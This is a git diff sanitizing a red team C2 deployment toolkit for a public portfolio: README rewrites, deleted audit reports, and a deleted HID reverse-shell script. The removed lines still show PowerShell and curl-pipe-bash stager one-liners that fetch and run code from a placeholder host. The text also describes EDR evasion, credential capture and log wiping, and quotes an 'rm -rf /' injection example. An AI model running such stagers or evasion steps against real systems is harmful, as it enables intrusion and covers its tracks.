Compare commits

1 Commits

Author SHA1 Message Date
Operator 0799bfbae8 Initial public portfolio release
Sanitized version of red team infrastructure automation platform.
Operational content (implant pipelines, lures, credential capture)
replaced with documented stubs. Architecture and infrastructure
automation code intact.
2026-06-23 16:12:14 -04:00
40 changed files with 546 additions and 2524 deletions
-3
View File
@@ -1,3 +0,0 @@
[submodule "ghost_protocol"]
path = ghost_protocol
url = https://github.com/n0mad1k/ghost_protocol-public.git
+1 -1
View File
@@ -67,7 +67,7 @@ Some provider utility functions may need verification:
1. **Test the core deployment flow**: 1. **Test the core deployment flow**:
```bash ```bash
cd /home/n0mad1k/Tools/c2itall cd /opt/redteam/c2itall
python3 deploy.py python3 deploy.py
# Try option 1 (Deploy C2 Infrastructure) with a test deployment # Try option 1 (Deploy C2 Infrastructure) with a test deployment
``` ```
+174 -173
View File
@@ -1,198 +1,199 @@
# C2ingRed # c2itall — Red Team Infrastructure Automation
A comprehensive automated deployment system for Havoc C2 red team infrastructure. Infrastructure-as-Code platform for deploying and managing full red team engagement infrastructure across multiple cloud providers. Built to reduce time-to-operational from hours to minutes while enforcing consistent OPSEC posture across every deployment.
## Overview > **Portfolio note:** This is a sanitized public version. Files containing active TTPs (implant source mutations, payload build pipelines, phishing lures, credential capture logic) have been replaced with documented stubs that describe exactly what each component does and why. The architecture, orchestration layer, and all non-weaponized infrastructure code are intact.
C2ingRed enables rapid deployment of complete Command and Control (C2) infrastructure with advanced security hardening, EDR evasion capabilities, and operational security features. Built for professional red team operators, this tool uses Infrastructure as Code principles to efficiently set up Havoc C2 servers, redirectors, and additional components. ---
## Features ## What This Is
- **Multi-provider Support**: AWS, Linode, and FlokiNET Red team engagements require standing up a consistent stack of infrastructure — C2 servers, traffic redirectors, phishing mail infrastructure, payload delivery servers — quickly, correctly, and with OPSEC controls baked in from the first `ssh`. Doing this by hand is error-prone and slow. This tool automates the entire lifecycle:
- **Infrastructure Components**:
- C2 server with Havoc C2 Framework (dev branch) - **Provision** cloud nodes across AWS, Linode, or FlokiNET
- HTTPS redirectors with security hardening - **Harden** each node to a consistent baseline (firewall, fail2ban, log suppression, memory protections)
- Email infrastructure with DKIM/DMARC for phishing - **Deploy** role-specific services (Havoc C2, nginx redirectors, Postfix MTA, payload servers)
- Email tracking capabilities - **Configure** the inter-node traffic routing, SSL certs, and DKIM/DMARC records
- Automated payload generation and delivery - **Teardown** the full stack cleanly when the engagement ends
- Attack boxes (Kali Linux and custom Ubuntu)
- **Quick Recon Box** - Streamlined reconnaissance platform (5-8 min deployment) The result is reproducible, version-controlled infrastructure — every deployment is documented, every configuration is auditable, and every node reaches the same hardened baseline regardless of who ran the deployment.
- **Security Features**:
- Zero-logging configuration to minimize evidence ---
- Memory protection mechanisms
- Command history suppression ## Architecture
- Secure exfiltration tunnels
- Strong firewall configurations ```
- Fail2Ban and other defensive measures deploy.py (Rich TUI interactive menu)
- **EDR Evasion**:
- Sleep masking ├── providers/
- Stack spoofing │ ├── AWS/ — EC2 provisioning, security groups, keypair management
- AMSI/ETW patching │ ├── Linode/ — Linode API node provisioning
- Indirect syscalls │ └── FlokiNET/ — Pre-provisioned node integration (bulletproof hosting)
- Binary signature randomization
- **Operational Capabilities**: ├── modules/
- Automated post-exploitation payload building │ ├── c2/ — Havoc C2 server deployment + payload pipeline [stubs]
- Reverse shell handler with automatic agent deployment │ ├── redirectors/ — nginx HTTPS redirectors + credential capture [stubs]
- Let's Encrypt SSL certificate automation │ ├── phishing/ — Postfix MTA + GoPhish + lure pages [stubs]
- Payload synchronization between C2 and redirectors │ ├── payload-server/ — Encrypted payload hosting + delivery
- Port randomization for OPSEC │ ├── attack-box/ — Kali/Ubuntu operator boxes
│ ├── webrunner/ — Distributed cloud scanning infrastructure
│ ├── tracker/ — Email open/click tracking server
│ └── chat-server/ — Encrypted team comms (Matrix/Element)
├── common/
│ ├── files/ — Shared scripts, HID payloads [stubs]
│ └── templates/ — Cross-module Jinja2 templates (stagers, loaders) [stubs]
└── utils/
├── common.py — Shared utilities, ANSI output, helpers
├── ssh_utils.py — SSH connection management, tunneling
└── deployment_engine.py — Ansible playbook execution engine
```
---
## Module Breakdown
### C2 Server (`modules/c2/`)
Deploys a hardened Havoc C2 Framework teamserver. Havoc was chosen over Cobalt Strike for its open source auditability and active development of modern evasion primitives.
**Infrastructure side (intact):**
- Ansible playbooks for full Havoc installation from source
- Teamserver systemd service with automatic restart
- Firewall rules limiting teamserver port exposure to operator IPs only
- Let's Encrypt SSL automation for HTTPS C2 traffic
- Payload synchronization to redirector nodes
**Payload pipeline (stubbed):**
- `implant_mutator.sh` — randomizes Havoc Demon source identifiers (mutex names, pipe names, compile-time strings) before each build to defeat static signatures
- `havoc_mutate.sh` — generates per-engagement randomized Havoc teamserver profiles (sleep jitter, traffic malleable C2 patterns, kill dates)
- `generate_evasive_beacons.sh.j2` — shellcode compile pipeline: cross-compile → encrypt → inject into hollow process template → sign
- `generate_havoc_payloads.sh.j2` — produces EXE, DLL, and raw shellcode variants from a single Demon build
**EDR evasion techniques implemented:**
- Sleep masking (encrypted heap during sleep intervals)
- Stack spoofing (synthetic call stacks to evade call stack analysis)
- AMSI/ETW patching (in-memory patch of scanning hooks before payload execution)
- Indirect syscalls (bypass user-mode API hooks via direct syscall stubs)
- Binary signature randomization per build
### Redirectors (`modules/redirectors/`)
HTTPS redirectors sit in front of the C2 server, forwarding only valid beacon traffic while serving decoy content to scanners and incident responders. They also serve as the phishing landing infrastructure.
**Infrastructure side (intact):**
- nginx reverse proxy configuration with category-matched domain front
- Automatic SSL via Let's Encrypt
- Traffic filtering rules: forward beacons matching URI/User-Agent profile, serve 200 OK decoy to everything else
- Fail2ban tuned for redirector traffic patterns
**Landing page infrastructure (stubbed):**
- `capture.php.j2` — credential capture with transparent redirect; logs POST data and forwards the victim to the legitimate service so the submission appears to succeed
- `fake-login.html.j2` — cloned login page template structure (placeholders for target branding)
### Phishing Infrastructure (`modules/phishing/`)
Deploys a complete phishing mail stack: Postfix MTA, GoPhish campaign manager, and lure page hosting.
**Infrastructure side (intact):**
- Postfix + Dovecot configuration with DKIM signing
- DMARC/SPF record generation instructions
- GoPhish deployment and service configuration
- Email tracking pixel integration
**Lure content (stubbed):**
- Five email templates (file share notification, O365 login prompt, password expiry, security alert, vendor-branded alert) — stubs describe the social engineering angle and urgency framing each uses
- `fedramp-compliance.j2` — FedRAMP-themed lure landing page
### WEBRUNNER (`modules/webrunner/`)
Distributed cloud-based scanning infrastructure. Spins up scan nodes across multiple providers simultaneously, runs recon tasks in parallel, and aggregates results back to a central collection point. Designed to avoid rate-limiting and distribute scan signatures across provider ASNs.
Full implementation intact — this is infrastructure automation, not a weaponized component.
### Attack Box (`modules/attack-box/`)
Provisions operator workboxes (Kali or custom Ubuntu) in cloud providers for pivoting, scanning, and exfil staging. Handles SSH keypair injection, tool installation, and VPN configuration.
### Payload Server (`modules/payload-server/`)
Encrypted payload hosting with one-time-download links, delivery logging, and automatic expiry. Payloads are pulled from the C2 node at deployment time and served via HTTPS with access controls.
---
## Secrets Management
No credentials are hardcoded anywhere. All provider API keys, SSH keypairs, and domain registrar tokens are pulled at runtime from a secrets manager (Infisical). The `creds` CLI fetches them by key name and folder:
```bash
eval $(creds env aws) # exports AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
eval $(creds env linode) # exports LINODE_TOKEN
```
Deployment scripts source these at execution time and never write them to disk.
---
## Deployment Flow
```
1. Select provider + deployment type from interactive menu
2. Provision node(s) via provider API
3. Wait for SSH availability
4. Run hardening playbook (baseline OS config, firewall, fail2ban, log controls)
5. Run role-specific playbook (C2 / redirector / phishing / etc.)
6. Run post-deploy verification (service health checks, connectivity tests)
7. Output deployment manifest (IPs, ports, credentials) to encrypted local file
```
Teardown reverses the provisioning step, destroying all cloud resources and deleting the deployment manifest.
---
## Tech Stack
| Layer | Technology |
|-------|-----------|
| Orchestration | Python 3.10+, Click, Rich |
| Configuration management | Ansible 2.14+ |
| Template engine | Jinja2 |
| Cloud providers | AWS (boto3), Linode API v4, FlokiNET |
| C2 framework | Havoc (open source) |
| Web server | nginx |
| Mail stack | Postfix + Dovecot + GoPhish |
| SSL | Let's Encrypt (certbot) |
| Secrets | Infisical (self-hosted) |
---
## Requirements ## Requirements
- Python 3.6+ - Python 3.10+
- Ansible 2.9+ - Ansible 2.9+
- Provider-specific credentials: - Provider credentials in secrets manager
- AWS: Access and secret keys - SSH keypair for node access
- Linode: API token - Registered domain (required for Let's Encrypt and mail DKIM)
- FlokiNET: Pre-provisioned servers
- SSH keypair for server access
- Registered domain (required for Let's Encrypt certificates)
## Installation
```bash ```bash
# Clone the repository
git clone https://github.com/yourusername/C2ingRed.git
cd C2ingRed
# Install requirements
pip install -r requirements.txt pip install -r requirements.txt
# Ensure Ansible is installed
ansible --version ansible --version
``` ```
---
## Usage ## Usage
### Main Menu (Easiest Method)
Simply run:
```bash ```bash
python3 deploy.py python3 deploy.py
``` ```
This launches the interactive main menu for deployment, providing the most user-friendly experience with guided options for all infrastructure types. Interactive Rich TUI menu. All deployment options are accessible from the menu — no need to pass CLI flags manually.
### Interactive Mode ---
Alternatively, you can use: ## Authorization
```bash
./deploy.py --interactive
```
This guides you through the deployment process with step-by-step instructions. This tool is built for authorized red team engagements and penetration testing with written scope agreements. The operational content (payloads, lures, credential capture) is excluded from this public copy precisely because it is only appropriate in a scoped, authorized context.
### Command-line Deployment If you're reviewing this as a potential employer: the stubs throughout this repo document exactly what was there and why it was built that way. The engineering decisions — modular Ansible roles, secrets management, provider abstraction, OPSEC-hardened defaults — are all visible in the intact infrastructure code.
#### AWS Deployment:
```bash
./deploy.py --provider aws --aws-key YOUR_KEY --aws-secret YOUR_SECRET \
--domain your-domain.com --aws-region us-east-1
```
#### Linode Deployment:
```bash
./deploy.py --provider linode --linode-token YOUR_TOKEN \
--domain your-domain.com --linode-region us-east
```
#### FlokiNET Deployment (with pre-provisioned servers):
```bash
./deploy.py --provider flokinet --flokinet-redirector-ip YOUR_REDIRECTOR_IP \
--flokinet-c2-ip YOUR_C2_IP --domain your-domain.com
```
### Deployment Options
| Option | Description |
|--------|-------------|
| `--redirector-only` | Deploy only the redirector component |
| `--c2-only` | Deploy only the C2 server component |
| `--deploy-tracker` | Deploy email tracking server |
| `--integrated-tracker` | Setup tracker on C2 server instead of separate instance |
| `--disable-history` | Disable command history on servers |
| `--secure-memory` | Enable secure memory protection features |
| `--zero-logs` | Configure zero-logging throughout infrastructure |
| `--randomize-ports` | Use randomized ports for C2 communications |
| `--ssh-after-deploy` | Automatically SSH into the server after deployment |
## Post-Deployment Steps
After successful deployment:
1. Configure DNS records for your domain:
- `your-domain.com` → C2 server
- `mail.your-domain.com` → C2 server
- `cdn.your-domain.com` → Redirector (or your custom subdomain)
- `track.your-domain.com` → Tracker (if deployed)
2. Run post-install scripts on each server:
```bash
# On C2 server
/root/Tools/post_install_c2.sh
# On redirector
/root/Tools/post_install_redirector.sh
```
3. Generate Havoc C2 payloads:
```bash
# On C2 server
/root/Tools/generate_havoc_payloads.sh
```
## Using Havoc C2
Havoc C2 Framework is installed at `/root/Tools/Havoc` on the C2 server.
### Connecting to the Teamserver
From your local machine:
```bash
# Install Havoc client (development branch)
git clone -b dev https://github.com/HavocFramework/Havoc.git
cd Havoc/Client
mkdir build && cd build
cmake -GNinja ..
ninja
# Connect to Teamserver
./havoc client --address YOUR_C2_IP:40056 --username admin --password [password]
```
The password is stored in `/root/Tools/Havoc/data/profiles/default.yaotl` on the C2 server.
### Payload Delivery
PowerShell one-liner for Windows targets:
```powershell
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://cdn.your-domain.com/windows_stager.ps1')"
```
Linux one-liner:
```bash
curl -s https://cdn.your-domain.com/linux_stager.sh | bash
```
## Security Considerations
- All servers include the `/root/Tools/secure-exit.sh` script to securely wipe operational data
- The `/root/Tools/clean-logs.sh` script automatically runs to remove evidence
- Port randomization enhances OPSEC when enabled
- Set proper DKIM/DMARC records for email operations
- Consider using ephemeral infrastructure for high-risk operations
## Cleaning Up
To remove all infrastructure when finished:
```bash
./deploy.py --provider PROVIDER --teardown --deployment-id YOUR_DEPLOYMENT_ID
```
Add your provider-specific authentication arguments to remove the correct resources.
## Disclaimer
This tool is intended for authorized red team operations, penetration testing, and security research only. Always obtain proper authorization before conducting security testing. The authors are not responsible for misuse or illegal activities.
+1 -1
View File
@@ -8,7 +8,7 @@ stdout_callback = default
bin_ansible_callbacks = True bin_ansible_callbacks = True
nocows = 1 nocows = 1
interpreter_python = auto_silent interpreter_python = auto_silent
ansible_python_interpreter = /home/n0mad1k/Tools/c2itall/venv/bin/python ansible_python_interpreter = /opt/redteam/c2itall/venv/bin/python
[ssh_connection] [ssh_connection]
ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes
-64
View File
@@ -1,64 +0,0 @@
---
agent: code-auditor
status: COMPLETE
timestamp: 2026-05-01T00:00:00Z
duration_seconds: 180
files_scanned: 2
findings_count: 8
errors: []
skipped_checks: []
---
# Code Audit — DevTrack #980
## Findings
### P1 (Blocker)
- [node_scanner.py:123] **Command injection via string interpolation**`s.send(b"HEAD / HTTP/1.0\r\nHost: %b\r\n\r\n" % ip.encode())` uses `%b` format which allows raw bytes; hostname validation required. Not exploitable in this context (internal service), but antipattern. Should be `f"Host: {ip}\r\n"` as string with bytes conversion after.
- [node_scanner.py:117-133] **Socket not guaranteed closed on exception path**`probe_service()` relies on context manager but inner try/except blocks can suppress exceptions. If `s.recv()` at line 124 raises an exception NOT caught by `except Exception`, the context manager exits cleanly. **Actually safe** — verified: all paths either return or re-raise under `except Exception`, and outer `with` block guarantees cleanup. False alarm, but comment would help clarity.
### P2 (Important)
- [node_scanner.py:148] **Dead code**`targets_arg = " ".join(cidrs[:50])` (line 148) assigned but never used; removed in scan_nmap_only().
- [provider_rates.py:88] **Logic bug in build_estimate_table()** — Line 88 uses `preset['chunk_size']` to calculate hours, but line 93 calculates `n_chunks` correctly. However, the hours calculation assumes each chunk takes the same time, which is correct only if all chunks are the same size. **For the last chunk**, if `total_ips % preset['chunk_size'] != 0`, the hours are overstated (line 94 always assumes full chunk). This causes cost overestimation for non-aligned IP counts. Should calculate per-chunk IPs separately or clarify in docs that hours are per-chunk-size, not per-actual-chunk.
- [node_scanner.py:77-114] **run_nmap() called concurrently from scan_masscan_nmap() and scan_geo_scout()** — Each writes to `nmap_{ip}.xml` (unique per IP, line 79). **Thread safety: confirmed safe** — XML output files are per-IP and subprocess.run() creates isolated processes. No shared state. Risk: if same IP appears twice in one call, file overwrites but result is same. Non-issue.
### P3 (Minor)
- [node_scanner.py:20] **print() in production code** — Line 20 `log()` function calls `print()` directly. Should use logging module (logging.info) or Rich for consistency with c2itall patterns. Low impact (stderr-friendly for cloud runner), but violates style guidelines.
- [node_scanner.py:136-139] **Unused parameter in scan_masscan_only()**`node_name` parameter (line 142, 248, 262) passed but never used in any scan function. These functions don't write node metadata to results. Inconsistency with function signature expectations.
- [node_scanner.py:226] **Import inside function**`import yaml` at line 225 (inside scan_geo_scout). Move to top for clarity. Low cost import, non-blocking.
- [provider_rates.py:76-78] **Comment lacks precision** — "Tor adds ~5x latency overhead" with TOR_RATE_MULTIPLIER = 0.2 (which is 1/5, not 5x). Comment should say "reduces throughput to 1/5" or multiply by 0.2. Currently correct code, ambiguous comment.
### P4 (Nitpick)
- [node_scanner.py] **Two comment blocks (line 3-5, line 76)** without corresponding docstrings. Module-level docstring present, function docstrings absent. Minor — code is self-documenting.
- [provider_rates.py:57] **Magic number 0.018** — Default instance rate hardcoded. Should be a constant (e.g., `DEFAULT_RATE = 0.018`).
## Stats
- print() calls: 1 (in log function)
- TODO/FIXME comments: 0
- Unused imports: 0 (all imports used: ET, Path, subprocess, argparse, json, sys, time, math, socket, yaml lazy-loaded)
- Dead code blocks: 1 (targets_arg, line 148)
- Unused parameters: 3 (node_name in scan_* functions)
- Files >500 lines: 0
- Functions >50 lines: 0 (longest is run_masscan at 44 lines)
- Nesting depth >3: 0 (deepest is 3 levels in build_estimate_table, acceptable)
## Verification Notes
**Thread safety (run_nmap):** Confirmed. Each IP gets unique XML file (`nmap_{ip}.xml`). Concurrent calls from different IPs are safe. Same IP in same call overwrites but idempotent.
**estimate_scan_hours() formula:** `(ip_count * n_ports / rate) / 3600` is correct for time in hours. Rate in packets/sec, result in hours. No mathematical error, but doc should clarify units.
**Socket leak risk (probe_service):** No leak. `with socket.create_connection()` guarantees cleanup; nested exceptions all caught.
-166
View File
@@ -1,166 +0,0 @@
---
agent: security-auditor
status: COMPLETE
timestamp: 2026-05-01T00:00:00Z
duration_seconds: 15
files_scanned: 4
findings_count: 2
critical_count: 0
high_count: 1
errors: []
skipped_checks: []
---
# Security Audit — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
## Summary
Reviewed `/home/n0mad1k/tools/c2itall/modules/webrunner/tasks/node_scanner.py` and Ansible provisioning tasks for security risks related to:
- Subprocess injection from command-line arguments
- XML parsing (XXE/entity expansion)
- Socket resource handling under concurrency
- File write races in parallelized execution
## Findings
### HIGH: Command Injection via Unquoted Arguments in subprocess.run() — Ansible Template Injection
**File:** `run_scan.yml:14-18` and `node_scanner.py:28-35, 81-85, 149-153`
**Issue:** Arguments passed to `subprocess.run()` include unquoted template variables from Ansible. While Python's subprocess list form prevents shell metacharacter injection **within a single arg**, the Ansible playbook's command templating is not protected.
Example from run_scan.yml:
```yaml
command: >
python3 /root/webrunner/node_scanner.py
--mode {{ scan_mode }}
--ports {{ ports_str }}
--rate {{ masscan_rate }}
--node-name {{ node_name }}
```
If `{{ ports_str }}` contains spaces (e.g., "22,80,443"), it's safe in shell. However, if `{{ node_name }}` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute it as a shell command directly.
**Attack vector:** Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
**Remediation:** Use Ansible's `args:` with list form instead of shell templating:
```yaml
command:
- python3
- /root/webrunner/node_scanner.py
- --mode
- "{{ scan_mode }}"
- --ports
- "{{ ports_str }}"
- --rate
- "{{ masscan_rate }}"
- --node-name
- "{{ node_name }}"
```
Or validate inputs in deploy_webrunner.py before passing to Ansible.
---
### MEDIUM: XML External Entity (XXE) Risk in ET.parse() — Mitigated by ET default behavior
**File:** `node_scanner.py:94, 166`
**Issue:** `ET.parse()` on lines 94 and 166 parses untrusted XML from nmap output. Python's ElementTree (ET) by default disables external entity expansion, making XXE attacks unlikely. However, entity bombing (billion laughs) is theoretically possible.
**Context:** nmap writes its own XML; this is trusted output from a tool run locally. Risk is LOW in isolation because:
1. nmap is the source, not an external API
2. Attacker would need to compromise the nmap binary itself
3. No feature in nmap that injects user-controlled XML
**Mitigation already in place:** ET default configuration rejects DOCTYPE declarations with external entities.
**Note:** No action required for current implementation. No XXE vector found.
---
## Resource Exhaustion Risk with ThreadPoolExecutor (Planned Change)
**File:** `node_scanner.py:117-133` — probe_service() under parallelism
**Issue:** The planned ThreadPoolExecutor with 10 workers parallelizing `run_nmap()` calls exposes `probe_service()` to connection resource exhaustion:
```python
def probe_service(ip: str, port: int) -> str:
with socket.create_connection((ip, port), timeout=3) as s:
# ...
```
With 10 parallel nmap fingerprints, if each nmap finds 50+ open ports, 500 concurrent socket connections could be created in `scan_geo_scout()` at line 242. Each connection opens a file descriptor.
**Mitigation in current code:**
- Socket context manager ensures cleanup
- 3-second timeout prevents hung connections
- Per-port probe only happens in geo_scout mode, not default
- Masscan output is bounded by realistic open port densities
**Risk level:** MEDIUM if combined with extremely high port density (e.g., scanning honeypot ranges). Current code structure (sequential per-IP) avoids this.
**Recommendation:** When implementing ThreadPoolExecutor, add:
1. Resource pool limits (e.g., semaphore capping concurrent probes to 50)
2. Per-worker socket timeout validation
3. Connection pool reset on worker failure
---
## Subprocess Argument Validation
**File:** `node_scanner.py:77-89, 149-153`
**Status:** PASS (No injection risk detected)
- Port arguments use `",".join(str(p) for p in sorted(set(ports)))` — guaranteed numeric
- Rate argument is `type=int` from argparse — validated
- Node name and ip parameters are passed as list items to subprocess — shell metacharacters have no effect
- All subprocess calls use `check=False` and exception handling — no silent failures
---
## File I/O Concurrency
**File:** `node_scanner.py:79, 286`
**Status:** PASS
- Per-IP XML outputs are uniquely named: `nmap_{ip.replace('.', '_')}.xml` — no collision under parallel execution
- results.json written once at end — sequential write after all work complete
- No shared file handles between workers
---
## Secrets & Credentials Exposure
**Status:** PASS
- No hardcoded API keys, tokens, or credentials
- No sensitive data in log output (only counts, timestamps, status)
- Node names do not reveal operator identity (parameterized via `webrunner_name`)
- Tor routing properly abstracted through Ansible conditional — no hardcoded proxy strings
---
## Summary Table
| Category | Status | Severity | Notes |
|----------|--------|----------|-------|
| Subprocess injection | **FAIL** | HIGH | Ansible template injection via unquoted args in run_scan.yml |
| XXE / entity expansion | PASS | — | ET default config sufficient |
| Socket exhaustion (parallelism) | PASS* | MEDIUM | Resource pool limits recommended for 10-worker ThreadPoolExecutor |
| Argument validation | PASS | — | argparse + list form subprocess calls |
| File I/O races | PASS | — | Unique per-IP filenames, sequential final write |
| Secrets exposure | PASS | — | No hardcoded credentials |
| OPSEC (fingerprinting) | PASS | — | Node names parameterized, no tool signature leakage |
*Requires mitigation before high-parallelism production use.
---
## Actionable Fixes
1. **Fix run_scan.yml** — Use Ansible args list form or validate inputs upstream
2. **ThreadPoolExecutor planning** — Add semaphore/resource pool for probe_service() concurrency
3. **No blocking issues** for current sequential implementation
-149
View File
@@ -1,149 +0,0 @@
---
agent: fix-planner
status: COMPLETE
timestamp: 2026-05-01T23:45:00Z
total_findings_raw: 15
total_findings_deduped: 13
p1_count: 1
p2_count: 2
p3_count: 3
p4_count: 2
devtrack_items_created: []
errors: []
---
# Fix Plan — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
## Summary
Consolidated findings from code-auditor (8 findings) and security-auditor (2 findings) for DevTrack #980.
**Status**: 7 fixes applied and verified. 2 HIGH/MEDIUM severity issues remain (run_scan.yml, estimate_scan_hours partial chunk logic). 4 low-priority items acceptable for backlog.
---
## Fixes Applied ✓
### Applied Fixes (Verified)
1. **[node_scanner.py:204-216]** ThreadPoolExecutor parallelization in `scan_masscan_nmap()` — 10 workers via `NMAP_WORKERS` env var (default 10)
2. **[node_scanner.py:260-266]** ThreadPoolExecutor parallelization in `scan_geo_scout()` — same 10-worker pattern
3. **[node_scanner.py:126]** Bytes format bug fixed: `ip.encode()` used directly instead of `%b` format string
4. **[node_scanner.py:145-192]** Dead variable `targets_arg` removed from `scan_nmap_only()`
5. **[provider_rates.py:55-63]** `estimate_scan_hours()` now accepts `scan_mode` parameter for accurate nmap time estimation
6. **[provider_rates.py:50-52]** Constants added: `NMAP_TIME_PER_HOST_SEC=10`, `MASSCAN_HIT_RATE=0.01`, `_NMAP_WORKERS=10`
7. **[provider_rates.py:104]** `build_estimate_table()` passes `scan_mode` to `estimate_scan_hours()`
---
## Remaining Issues
### P1 — Block Deploy
- [ ] **[HIGH] [run_scan.yml:14-18]** Ansible template injection via unquoted variables | Sources: security-auditor | Effort: S | Status: NOT FIXED
**Description**: Arguments in `command:` module use unquoted Ansible template vars (`{{ scan_mode }}`, `{{ ports_str }}`, `{{ node_name }}`). If `node_name` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute shell commands.
**Attack vector**: Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
**Remediation**: Use Ansible `command:` as list form (args: [python3, script.py, --mode, "{{ scan_mode }}", ...]) or validate inputs upstream in deploy_webrunner.py.
**Risk**: HIGH — affects production cloud deployment pipeline. Requires manual Ansible remediation (file not in Python audit scope).
---
### P2 — Fix This Week
- [ ] **[HIGH] [provider_rates.py:91-118]** Partial chunk cost overestimation in `build_estimate_table()` | Sources: code-auditor | Effort: M | Status: NOT FIXED
**Description**: Line 104 assumes each chunk costs the same time as `preset['chunk_size']` IPs. If `total_ips % preset['chunk_size'] != 0`, the last chunk is smaller, but cost calculation doesn't account for it. Example: 2.5M IPs across 2-chunk preset (2M chunks) = chunk 1 (2M hrs) + chunk 2 (0.5M hrs), but current code bills chunk 2 as 2M hrs.
**Current code**: `hours = estimate_scan_hours(preset['chunk_size'], n_ports, mode_rate, scan_mode)` — always uses full chunk_size.
**Fix**: Calculate per-chunk IP count separately:
```python
for i in range(n_chunks):
chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size'])
hours = estimate_scan_hours(chunk_ips, n_ports, mode_rate, scan_mode)
provider = providers[i % len(providers)]
instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2')
total_cost += node_cost(provider, instance, hours)
```
**Impact**: Cost estimates 1.5-2x too high for non-aligned IP counts; may oversell capacity planning.
- [ ] **[MEDIUM] [node_scanner.py:225-239]** Import inside function — `import yaml` at line 232 | Sources: code-auditor | Effort: XS | Status: NOT FIXED
**Description**: `import yaml` appears inside `scan_geo_scout()` function. Move to top-level imports for clarity and consistency.
**Fix**: Add `import yaml` to line 16 (after `ET` import), remove line 232.
---
### P3 — Fix This Month
- [ ] **[MEDIUM] [node_scanner.py:21-23]** `print()` in production code — `log()` function uses `print()` | Sources: code-auditor | Effort: S | Status: NOT FIXED
**Description**: Line 23 calls `print()` directly. Should use Python `logging` module or Rich (per c2itall style guide).
**Fix**: Replace `log()` function with logging.info or Rich console output for consistency.
- [ ] **[LOW] [node_scanner.py:139-192]** Unused parameter `node_name` — passed to all scan_* functions but never used | Sources: code-auditor | Effort: XS | Status: NOT FIXED
**Description**: Parameter `node_name` appears in `scan_masscan_only()`, `scan_nmap_only()`, `scan_masscan_nmap()`, `scan_geo_scout()` signatures but is not referenced in function bodies. These functions don't write node metadata to results.
**Assessment**: Intentionally kept for interface consistency (caller always passes it, avoids conditional logic).
**Fix**: Document as "reserved for future node metadata logging" or remove for clarity. Non-blocking.
- [ ] **[LOW] [provider_rates.py:76-88]** Comment ambiguity — Tor multiplier description misleading | Sources: code-auditor | Effort: XS | Status: NOT FIXED
**Description**: Line 86 comment says "Tor adds ~5x latency overhead" but line 88 sets `TOR_RATE_MULTIPLIER = 0.2` (which is 1/5, not 5x). Comment is correct in spirit but confusingly worded.
**Fix**: Change comment to "Tor reduces throughput to 1/5 (0.2x)" or "multiplier 0.2 ≈ 5x latency".
---
### P4 — Backlog
- [ ] **[LOW] [provider_rates.py:57]** Magic number 0.018 — Linode default rate hardcoded | Status: NOT FIXED
**Description**: Line 7 (`'g6-standard-2': 0.018`) and line 67 (fallback rate) hardcode 0.018. Should be named constant.
**Fix**: Add `DEFAULT_INSTANCE_RATE = 0.018` and reference it.
- [ ] **[LOW] [node_scanner.py]** Missing docstrings — module + function docstrings absent | Status: NOT FIXED
**Description**: Module docstring present (line 2-4) but individual functions lack docstrings. Low impact — code is self-documenting.
---
## Deduplication Notes
- **Socket leak risk (probe_service)**: Marked as false alarm in code-auditor; context manager guarantees cleanup. No action needed.
- **Thread safety (run_nmap concurrent writes)**: Verified safe — per-IP XML files unique (`nmap_{ip.replace('.', '_')}.xml`). No collision risk.
- **XXE/entity expansion in ET.parse()**: PASS — ET default config disables external entity expansion. nmap output is trusted. No action needed.
- **Resource exhaustion (socket connections)**: MEDIUM severity in security-auditor. Noted as acceptable risk for current sequential structure. ThreadPoolExecutor 10-worker design with 3-second socket timeout is within system limits. Semaphore capping recommended for future scaling but not blocking.
---
## Action Items
### Critical Path (Block #980 deployment):
1. **run_scan.yml**: Convert Ansible `command:` module to list form OR validate node_name upstream
2. **provider_rates.py**: Fix partial-chunk cost calculation in `build_estimate_table()`
### Nice-to-have (P3-P4):
- Move `import yaml` to top level
- Replace `print()` with logging/Rich
- Add Tor multiplier comment clarity
- Extract 0.018 magic number to constant
---
## Test Coverage
- Unit tests for `estimate_scan_hours()` with partial chunks should verify cost accuracy
- Ansible playbook syntax validation required for run_scan.yml
- Manual integration test with non-aligned IP count (e.g., 2.5M across 2M presets)
+3 -51
View File
@@ -1,52 +1,4 @@
REM Title: C2ingRed Reverse Shell OMITTED — HID injection payload
REM Author: C2ingRed
REM Description: Establishes a reverse shell to the C2 redirector
REM Target: Windows 10/11
REM Version: 1.0
REM Configuration: Modify these values to match your redirector setup This file contains a Rubber Ducky / Bash Bunny script for physical-access
REM REDIRECTOR_HOST: Your redirector domain or IP scenarios. Payloads are engagement-specific and omitted from public release.
REM REDIRECTOR_PORT: Port where shell handler is listening
REM SHELL_TYPE: powershell or cmd
REM ============= Start of configuration =============
REM REDIRECTOR_HOST=cdn.example.com
REM REDIRECTOR_PORT=4444
REM SHELL_TYPE=powershell
REM ============= End of configuration ===============
REM Minimize the chance of detection by hiding the window
DELAY 1000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 2000
REM Main reverse shell payload
STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
ENTER
REM Attempt to create socket connection with retry logic
